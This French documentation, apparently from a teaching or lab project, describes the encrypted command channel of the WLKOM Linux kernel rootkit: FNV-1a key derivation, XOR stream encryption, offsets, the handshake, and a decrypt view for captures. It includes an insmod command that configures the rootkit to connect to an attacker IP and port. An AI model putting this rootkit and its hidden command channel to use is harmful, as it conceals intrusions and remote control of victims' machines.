Chiffrement du canal WLKOM
Le canal TCP entre wlkom.ko et le backend attaquant est chiffré dès le premier octet. En pratique, ce n'est pas un chiffrement moderne comme TLS ou AES: c'est un XOR de flux avec une clé de 16 octets dérivée du mot de passe par FNV-1a 64-bit.
Le but du projet est de masquer les commandes dans une capture réseau et de montrer une synchronisation kernel/backend/frontend. Ce mécanisme ne fournit pas d'authentification forte, pas de nonce, pas d'intégrité et pas de protection sérieuse contre un attaquant actif.
Résumé rapide
mot de passe -> hash FNV-1a 64-bit -> clé de 16 octets -> XOR sur chaque octet TCP
À retenir:
- le mot de passe ne part jamais en clair sur le canal kernel
- la même fonction XOR chiffre et déchiffre
- la clé est fixe pendant une socket
- les offsets
tx_offsetetrx_offsetavancent à chaque octet - une erreur d'un octet dans l'offset rend la suite illisible.
À ne pas oublier: ce mécanisme existe pour le projet et la démonstration réseau. Il n'apporte pas les garanties d'un vrai protocole sécurisé.
Vidéo externe
Cette vidéo explique le principe central utilisé par WLKOM: le chiffrement par XOR symétrique. Elle ne parle pas de notre code ni de FNV-1a, mais elle couvre l'idée importante: appliquer XOR avec une clé pour chiffrer, puis réappliquer XOR avec la même clé pour retrouver le texte clair.
Lien direct: Symmetric Key Cryptography: The XOR Cipher.
Documentation externe
- RFC 9923 - The FNV Non-Cryptographic Hash Algorithm pour FNV/FNV-1a, les constantes et le fait que FNV n'est pas cryptographique.
- MDN - Bitwise XOR (
^) pour la table de vérité XOR et l'opérateur utilisé côté frontend. - Python docs - Binary bitwise operations pour l'opérateur
^utilisé côté backend. - Références techniques pour le lien avec le code C du module.
Schéma global
Fichiers concernés
| Fichier | Rôle |
|---|---|
rootkit/src/core/main.c | vérifie le mot de passe et appelle la dérivation de clé au chargement |
rootkit/src/core/module_parameters.c | déclare le paramètre password du module |
rootkit/src/crypto/xor_stream.c | dérive la clé FNV-1a et applique le XOR de flux |
rootkit/src/network/socket_io.c | chiffre les envois, déchiffre les réceptions et incrémente les offsets kernel |
rootkit/src/network/protocol.c | envoie la bannière, lit le mot de passe et lance la session authentifiée |
rootkit/src/network/connection.c | remet les offsets à zéro à chaque nouvelle socket |
rootkit/include/wlkom_config.h | définit WLKOM_CRYPTO_KEY_LEN = 16 |
attacking_program/backend/rootkit/crypto.py | reproduit exactement la dérivation et le XOR côté Python |
attacking_program/backend/rootkit/controller.py | initialise CryptoState, fait le handshake et expose l'état crypto |
attacking_program/backend/rootkit/transport.py | envoie/reçoit les octets chiffrés et incrémente les offsets backend |
attacking_program/frontend/src/crypto.js | reproduit l'algorithme côté navigateur pour la vue Decrypt |
attacking_program/frontend/src/components/DecryptView.jsx | permet de coller un flux Wireshark et de tester mot de passe + offset |
Dérivation de clé
Le module part du mot de passe donné au chargement:
sudo insmod wlkom.ko attacker_ip=192.168.100.1 command_port=4444 password='secret'
Le code calcule un hash FNV-1a 64-bit:
hash = 0xcbf29ce484222325
pour chaque octet du mot de passe:
hash = hash ^ octet
hash = hash * 0x100000001b3
hash = hash garde sur 64 bits
Ensuite, le hash est découpé en octets pour remplir une clé de 16 octets:
key[i] = (hash >> ((i % 8) * 8)) & 0xff
Comme i % 8 revient au début après 8 octets, les 8 octets du hash sont répétés deux fois.
Avec secret, on obtient:
hash = 0xab23f0eec020c951
key = 51 c9 20 c0 ee f0 23 ab 51 c9 20 c0 ee f0 23 ab
XOR octet par octet
XOR est une opération binaire. Sa propriété utile ici est:
(clair ^ clé) ^ clé = clair
Donc le même calcul sert dans les deux sens:
octet_chiffre = octet_clair ^ octet_cle
octet_clair = octet_chiffre ^ octet_cle
Exemple avec la commande id\n:
| Position | Clair | Hex clair | Clé | Calcul | Hex chiffré |
|---|---|---|---|---|---|
| 0 | i | 69 | 51 | 69 ^ 51 | 38 |
| 1 | d | 64 | c9 | 64 ^ c9 | ad |
| 2 | \n | 0a | 20 | 0a ^ 20 | 2a |
Sur le réseau, Wireshark voit:
38 ad 2a
Pour relire, on refait exactement le même calcul:
| Position | Chiffré | Clé | Calcul | Clair |
|---|---|---|---|---|
| 0 | 38 | 51 | 38 ^ 51 | 69 |
| 1 | ad | c9 | ad ^ c9 | 64 |
| 2 | 2a | 20 | 2a ^ 20 | 0a |
Le résultat redevient:
69 64 0a = id\n
Pourquoi les offsets existent
La clé fait seulement 16 octets, donc elle est utilisée en boucle:
key[(offset + i) % 16]
offset représente la position courante dans le flux. Il ne revient pas à zéro entre deux messages d'une même socket.
Exemple: si le backend a déjà envoyé secret\n, il a consommé 7 octets côté TX. La commande suivante id\n ne commence donc pas avec key[0], mais avec key[7]:
hex clair 69 64 0a
clé utilisée ab 51 c9
hex chiffré c2 35 c3
Sans offset, chaque message recommencerait au début de la clé. Le problème est que TCP ne garde pas forcément les mêmes découpages que le programme: un send peut être reçu en plusieurs recv, ou plusieurs petits messages peuvent arriver ensemble. L'offset permet de traiter la socket comme un seul flux continu.
Image mentale simple: TCP est un long ruban d'octets. Nous, dans le code, on pense "bannière", "mot de passe", "commande", "réponse". Le réseau, lui, ne promet pas de garder ces frontières. L'offset sert à savoir où on en est sur le ruban.
Exemple concret: le module peut envoyer Authenticated.\n, puis wlkom> . Le backend peut recevoir les deux d'un coup, ou recevoir seulement la moitié de la première chaîne. Le backend garde donc les octets déjà lus dans _rx_buffer et continue le XOR au bon offset.
Deux offsets séparés
Il y a deux directions indépendantes:
| Offset | Sens côté backend | Sens côté module |
|---|---|---|
tx_offset | backend vers module | réception module |
rx_offset | module vers backend | émission module |
Les deux sens ne consomment pas le même nombre d'octets. Par exemple, au handshake:
Si on mélange TX et RX, le déchiffrement part avec le mauvais offset et produit du texte illisible.
Exemple complet de début de session
Avec secret, la bannière envoyée par le module commence à l'offset 0 côté émission kernel:
clair = KOZACITEAM \nPassword:
Le backend doit créer CryptoState(secret) avant de lire cette bannière. Sinon il ne peut même pas reconnaître le texte Password:.
Ensuite, quand le backend envoie le mot de passe:
clair = secret\n
hex = 73 65 63 72 65 74 0a
chiffré = 22 ac 43 b2 8b 84 29
Après ces 7 octets, son tx_offset vaut 7.
Utiliser la vue Decrypt
Dans le dashboard, la vue Decrypt sert à tester une capture réseau:
- choisir le format des octets collés: hex, base64 ou texte brut
- entrer le mot de passe du module
- choisir le sens du flux
- utiliser l'offset automatique si la session backend est active, ou un offset manuel si la capture commence ailleurs
- lire la sortie texte et le hex de sortie.
Pour l'exemple minimal:
mot de passe = secret
format = hex
offset = manuel 0
entrée = 38 ad 2a
sortie = id\n
Si la sortie ressemble à du bruit, vérifier dans cet ordre:
- mauvais mot de passe
- mauvais sens de flux
- mauvais offset
- capture commencée au milieu d'un flux
- socket reconnectée, donc offsets remis à zéro côté kernel et backend.
Limites de sécurité
Ce mécanisme est volontairement léger et court à implémenter dans un module kernel. Il masque le texte dans une capture simple, mais il ne remplace pas TLS.
Limites importantes:
- FNV-1a n'est pas un hash cryptographique
- XOR avec clé répétée est faible si beaucoup de trafic est connu
- il n'y a pas de MAC ou signature pour détecter une modification active
- il n'y a pas de nonce ni de clé différente par session
- le fingerprint affiché par le dashboard sert seulement au diagnostic.
Pour un vrai canal sécurisé, il faudrait utiliser un protocole éprouvé avec authentification, intégrité et renouvellement de clés.